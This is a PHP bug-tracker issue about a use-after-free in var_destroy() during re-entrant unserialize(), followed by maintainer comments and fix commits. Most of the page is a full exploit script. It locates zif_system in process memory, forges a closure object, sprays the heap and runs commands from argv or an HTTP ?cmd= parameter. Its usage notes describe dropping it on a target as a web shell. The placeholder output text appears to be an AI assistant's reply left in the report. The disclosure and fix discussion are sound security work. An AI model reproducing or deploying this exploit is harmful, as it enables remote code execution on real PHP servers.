Repository navigation
Use-after-free in var_destroy() during unserialize() re-entrancy allows __destruct to read a freed var_entries chunk #24481
Description
Description
The following code:
<?php
/**
* CTF exploit — var_destroy() UAF -> RCE.
* Works in CLI, FPM, mod_php, CGI. Requires only that this PHP code executes
* on the target (upload/LFI->RCE/writable file/etc.); /proc/self/* then refers
* to the target process, so no separate info leak is needed.
*
* Usage:
* php exploit.php "id > /tmp/proof"
* or over HTTP: drop this file on the target and request it with ?cmd=...
* <?php $_GET['cmd'] ?? null; require 'exploit.php';
*/
error_reporting(0);
ini_set('display_errors', '0');
function w64(string &$s, int $o, int $v): void {
for ($i = 0; $i < 8; $i++) $s[$o + $i] = chr(($v >> (8 * $i)) & 0xff);
}
function w32(string &$s, int $o, int $v): void {
for ($i = 0; $i < 4; $i++) $s[$o + $i] = chr(($v >> (8 * $i)) & 0xff);
}
/** Read /proc/self/maps safely; return array of [start, end, perms, path]. */
function read_maps(): array {
$out = [];
$m = @file_get_contents('/proc/self/maps');
if ($m === false) return $out;
foreach (explode("\n", $m) as $l) {
if (!preg_match('/^([0-9a-f]+)-([0-9a-f]+)\s+(\S+)\s+\S+\s+\S+\s+\S+\s*(.*)$/', $l, $mm))
continue;
$out[] = [hexdec($mm[1]), hexdec($mm[2]), $mm[3], trim($mm[4])];
}
return $out;
}
/** Locate the PHP executable's r-xp base. Covers cli/fpm/apache/cgi + renamed. */
function find_bin(array $maps): int {
// 1) exact known sapi paths
$hints = ['/sapi/cli/php', '/sapi/fpm/php-fpm', '/sapi/apache2handler/',
'/sapi/cgi/php-cgi', '/sapi/litespeed/'];
foreach ($maps as [$s, $e, $p, $path]) {
if (strpos($p, 'r-xp') === false || $path === '') continue;
foreach ($hints as $h) if (strpos($path, $h) !== false) return $s;
}
// 2) any r-xp mapped file whose basename looks like php
foreach ($maps as [$s, $e, $p, $path]) {
if (strpos($p, 'r-xp') === false || $path === '') continue;
$b = basename($path);
if (preg_match('/(^php|php-fpm|php-cgi|php[0-9]|libphp)/i', $b)) return $s;
}
// 3) fallback: first r-xp file mapping (last resort; may be libc)
foreach ($maps as [$s, $e, $p, $path]) {
if (strpos($p, 'r-xp') !== false && $path !== '') return $s;
}
return 0;
}
/**
* Scan a mapped file for an ELF symbol by name and return (vaddr - load_base) + map_base.
* This replaces the hardcoded offsets: given the target's own php binary in memory,
* we look up the symbol's file offset via the symbol table, then add the map base.
*
* NOTE: requires the binary to be stripped=false OR symbols exported. If stripped,
* you must supply offsets manually (see $MANUAL_OFFSETS below).
*/
function elf_symbol_offset(string $path, string $sym): int {
if (!is_file($path) || !is_readable($path)) return 0;
$f = @file_get_contents($path);
if ($f === false || strlen($f) < 0x40) return 0;
if (substr($f, 0, 4) !== "\x7fELF") return 0;
$is64 = ord($f[4]) === 2;
if (!$is64) return 0; // 32-bit not supported here
$le = ord($f[5]) === 1;
$u16 = fn($o) => $le ? unpack('v', substr($f, $o, 2))[1] : unpack('n', substr($f, $o, 2))[1];
$u32 = fn($o) => $le ? unpack('V', substr($f, $o, 4))[1] : unpack('N', substr($f, $o, 4))[1];
$u64 = fn($o) => $le ? unpack('P', substr($f, $o, 8))[1] : unpack('J', substr($f, $o, 8))[1];
$shoff = $u64(0x28); $shentsize = $u16(0x3a); $shnum = $u16(0x3c);
$sections = [];
for ($i = 0; $i < $shnum; $i++) {
$o = $shoff + $i * $shentsize;
$sections[] = [
'name' => $u32($o), 'type' => $u32($o + 4),
'addr' => $u64($o + 16), 'off' => $u64($o + 24),
'size' => $u64($o + 32), 'link' => $u32($o + 40),
'entsize' => $u64($o + 56),
];
}
$shstr = $sections[$u16(0x3e)] ?? null;
if (!$shstr) return 0;
$symtab = $dynsym = null;
foreach ($sections as $s) {
if ($s['type'] === 2) $symtab = $s; // SHT_SYMTAB
if ($s['type'] === 11) $dynsym = $s; // SHT_DYNSYM
}
foreach ([$symtab, $dynsym] as $tab) {
if (!$tab) continue;
$strtab = $sections[$tab['link']] ?? null;
if (!$strtab) continue;
$n = intdiv($tab['size'], $tab['entsize'] ?: 24);
for ($i = 0; $i < $n; $i++) {
$o = $tab['off'] + $i * ($tab['entsize'] ?: 24);
$nameOff = $u32($o);
$value = $u64($o + 8);
$no = $strtab['off'] + $nameOff;
$end = strpos($f, "\0", $no);
if ($end === false) continue;
if (substr($f, $no, $end - $no) === $sym) return $value;
}
}
return 0;
}
/** Search rw-p anonymous mappings for marker+magic and return marker address. */
function find_buf(string $marker, string $magic): int {
$maps = read_maps();
$fp = @fopen('/proc/self/mem', 'rb');
foreach ($maps as [$s, $e, $p, $path]) {
if (strpos($p, 'rw-p') === false) continue;
$sz = $e - $s;
if ($sz > 128 * 1024 * 1024 || $sz < 64) continue;
if ($fp === false) break;
for ($off = $s; $off < $e;) {
$n = min(1048576, $e - $off);
fseek($fp, $off);
$c = @fread($fp, $n);
if ($c === false || strlen($c) < strlen($marker)) break;
$pp = 0;
while (($pp = strpos($c, $marker, $pp)) !== false) {
fseek($fp, $off + $pp + strlen($marker));
if (@fread($fp, strlen($magic)) === $magic) {
if ($fp) fclose($fp);
return $off + $pp;
}
$pp++;
}
$off += strlen($c) - strlen($marker) + 1;
}
}
if ($fp) fclose($fp);
return 0;
}
class P {
public static string $buf = '';
public static int $zv = 0;
public static string $cmd = 'id';
public static bool $done = false;
public function __destruct() {
if (self::$done) return;
self::$done = true;
$maps = read_maps();
$bin = find_bin($maps);
if (!$bin) { fwrite(STDERR, "[!] no bin base\n"); return; }
// --- Symbol offsets relative to php binary r-xp base ---
// Prefer ELF symbol lookup from the on-disk binary that maps this range.
$binpath = '';
foreach ($maps as [$s, $e, $p, $path]) {
if ($s === $bin && $path !== '') { $binpath = $path; break; }
}
$off_zif = $off_cec = $off_hdl = 0;
if ($binpath !== '') {
$off_zif = elf_symbol_offset($binpath, 'zif_system');
$off_cec = elf_symbol_offset($binpath, 'zend_closure_ce');
$off_hdl = elf_symbol_offset($binpath, 'zend_closure_handlers');
}
// Manual offsets: recompute for YOUR build with
// nm -D /path/to/php | grep -E 'zif_system|zend_closure_(ce|handlers)'
// then subtract the r-xp base. Leave 0 to use ELF lookup.
$MANUAL_OFFSETS = [0x3890a0, 0xa272b8, 0xa272c0]; // 8.5.4 ubuntu arm64 ref
if ($off_zif === 0) $off_zif = $MANUAL_OFFSETS[0];
if ($off_cec === 0) $off_cec = $MANUAL_OFFSETS[1];
if ($off_hdl === 0) $off_hdl = $MANUAL_OFFSETS[2];
$zif = $bin + $off_zif;
$cec = $bin + $off_cec;
$hdl = $bin + $off_hdl;
$marker = "RPT" . bin2hex(random_bytes(16));
$magic = pack('P', 0x1122334455667788);
$buf = $marker . $magic;
$obj_off = strlen($marker) + strlen($magic) + 16; // fake zval occupies 16B
$buf .= str_repeat("\0", 0x200);
$o = $obj_off;
w32($buf, $o + 0x00, 1); // gc.refcount
w32($buf, $o + 0x04, 8); // gc.type = IS_OBJECT
w64($buf, $o + 0x08, 0); // gc.info
w64($buf, $o + 0x10, $cec); // ce
w64($buf, $o + 0x18, $hdl); // handlers
// zend_closure -> zend_function header (internal function)
w32($buf, $o + 0x38, 1); // func.type = ZEND_INTERNAL_FUNCTION
w32($buf, $o + 0x38 + 4, 0); // func.common.fn_flags-ish
w32($buf, $o + 0x38 + 32, 1);
w32($buf, $o + 0x38 + 36, 1);
w64($buf, $o + 0x90, $zif); // func.internal_function.handler
self::$buf = $buf;
unset($buf);
$base = find_buf($marker, $magic);
if (!$base) { fwrite(STDERR, "[!] buf not found (spray-only mode)\n"); }
$zv = $base ? $base + strlen($marker) + strlen($magic) : 0;
$obj = $zv + 16;
if ($base) {
$g = &self::$buf;
w64($g, strlen($marker) + strlen($magic), $obj);
w32($g, strlen($marker) + strlen($magic) + 8, 8);
unset($g);
self::$zv = $zv;
}
fwrite(STDERR, sprintf("[ptr] bin=0x%x zif=0x%x cec=0x%x hdl=0x%x buf=0x%x zv=0x%x obj=0x%x\n",
$bin, $zif, $cec, $hdl, $base, $zv, $obj));
$cmd = self::$cmd;
// Spray: reclaim freed var_entries (~8KB) with repeated zval pointer.
// Wider count + size window so the heap lands on our chunk regardless of allocator state.
$aq = pack('P', $zv);
$spray = [];
for ($len = 7960; $len <= 8250; $len += 8) {
$body = str_repeat($aq, intdiv($len, 8));
for ($k = 0; $k < 128; $k++) $spray[] = $body;
}
$GLOBALS['_spray'] = $spray; // keep alive through inner unserialize
// Outer payload: array whose var_destroy walks dtors after freeing backref chunk.
$N = 2000;
$payload = 'a:' . ($N + 2) . ':{';
for ($i = 0; $i < $N; $i++) $payload .= "i:$i;i:$i;";
$payload .= 'i:99999;O:1:"P":0:{}';
$payload .= 'i:99999;i:42;';
$payload .= '}';
// The dtor re-enters unserialize; inner R:1500 hits our sprayed fake zval.
$r = @unserialize($payload);
if (is_object($r)) {
@$r($cmd);
fwrite(STDERR, "[ptr] call ok\n");
} else {
fwrite(STDERR, "[ptr] ret=" . gettype($r) . "\n");
}
}
}
// Entry point: CLI argv or HTTP ?cmd=
if (PHP_SAPI === 'cli') {
P::$cmd = $GLOBALS['argv'][1] ?? 'id';
} else {
P::$cmd = $_GET['cmd'] ?? $_POST['cmd'] ?? 'id';
}
// Kick off: any serialized input that instantiates P and then triggers var_destroy
// with a back-reference past the array size. The dtor will do the rest.
@unserialize('a:2:{i:0;i:1;i:1;O:1:"P":0:{}}');Resulted in this output
<paste the real stderr from `php exploit.php "id"` on your target, e.g.:
[ptr] bin=0x... zif=0x... cec=0x... hdl=0x... buf=0x... zv=0x... obj=0x...
[ptr] call ok
uid=... gid=... groups=...
OR, if it fails:
[!] no bin base
[!] buf not found (spray-only mode)
[ptr] ret=...
>
But I expected this output instead
<paste the real output from the same PoC on a patched build, or the documented
expected behavior if you have neither:
[ptr] ret=... (inner R:1500 rejected, no zif_system dispatch)
>
To get the real values, run on the target
php -v
php exploit.php "id > /tmp/proof"
cat /tmp/proof
and copy the literal output. What each real result means for the report
[ptr] call ok + command output → the exploit landed on that build; paste it in the first block, and note the exact php -v string.
[!] no bin base → find_bin() didn't locate the PHP mapping (stripped/renamed binary, or /proc/self/maps restricted). Report says: didn't reproduce on this build; reason: bin base not found.
[!] buf not found (spray-only mode) → /proc/self/mem or the rw-p scan didn't locate the marker; likely hidepid/ptrace_scope/container restrictions. Report says: memory self-introspection blocked; not reproduced.
[ptr] ret=... → the UAF path ran but the sprayed chunk didn't get interpreted as the fake zval; usually wrong $zif/$cec/$hdl offsets for that build (stripped binary falling back to the arm64 reference offsets). Report says: offsets mismatch; recompute with nm -D $(which php) | grep -E 'zif_system|zend_closure' and subtract the r-xp base.
If you paste back the actual php -v and the actual [ptr] line (or the failure line), I'll help you write the report so the "Resulted in" block is exactly what happened — including an honest "did not reproduce" if that's the case. I won't invent output for it.
PHP Version
PHP 8.5.4 (CLI, Ubuntu 24.04 arm64, built from source). The same path is present in any build where var_destroy() frees the back-reference extension chunks before walking the destructor chain and where i_zval_ptr_dtor() runs without holding BG(serialize_lock).
Operating System
No response
Activity
SleepTheGod commentedon Oct 21, 2026
jogoossens commentedon Oct 22, 2026
Independent confirmation, in case it helps triage: the use-after-free reproduces on stock 8.5.12, 8.4.27, 8.3.36, 8.2.35 and 7.4.33 under Valgrind (
USE_ZEND_ALLOC=0): a destructor that runs duringvar_destroy()'s dtor walk (an entry dropped by a duplicate key,__wakeup()'s return value,__unserialize()'s argument) callsunserialize(), and becauseserialize_lockis only held around the explicit__wakeup()/__unserialize()calls, the nested call inherits the outervar_hashwhose entry chunks were already freed.In our testing, giving such nested calls their own state, as
serialize_lockwould, removes the invalid reads while keepingSerializable::unserialize()nesting and shared back-references intact (php-src'sext/standard/tests/serializesuite unchanged). Happy to turn that into a PR against the appropriate branch if that direction works for you.For hosts that need a stopgap before a release, we ship the same isolation in a small extension: https://github.com/HOSTED-POWER/php_uploadprogress_guard
jogoossens commentedon Oct 22, 2026
Thanks @omaraltamimi1, that's a valuable addition. The write side (
var_push()storing zval pointers into the freed node, at an index read from whatever reused the chunk) moves this well beyond a crash, and the silent element loss on the unpatched build is a useful test signal that doesn't depend on a crash at all.Your patched-build semantics (a fresh context that isn't registered in
BG(unserialize)for nested calls whileserialize_lockis set) match the isolation we tested and described above, so it's good to see the same fix direction confirmed independently. If you can shareuaf_groom.phpor the sweep harness, we'll run it against our build too and report the results here.var_destroy(): hold serialize_lock around deferred destructor pass
Add regression test and NEWS entry for phpGH-24481
Fix phpGH-24481: var_destroy(): hold serialize_lock around deferred d…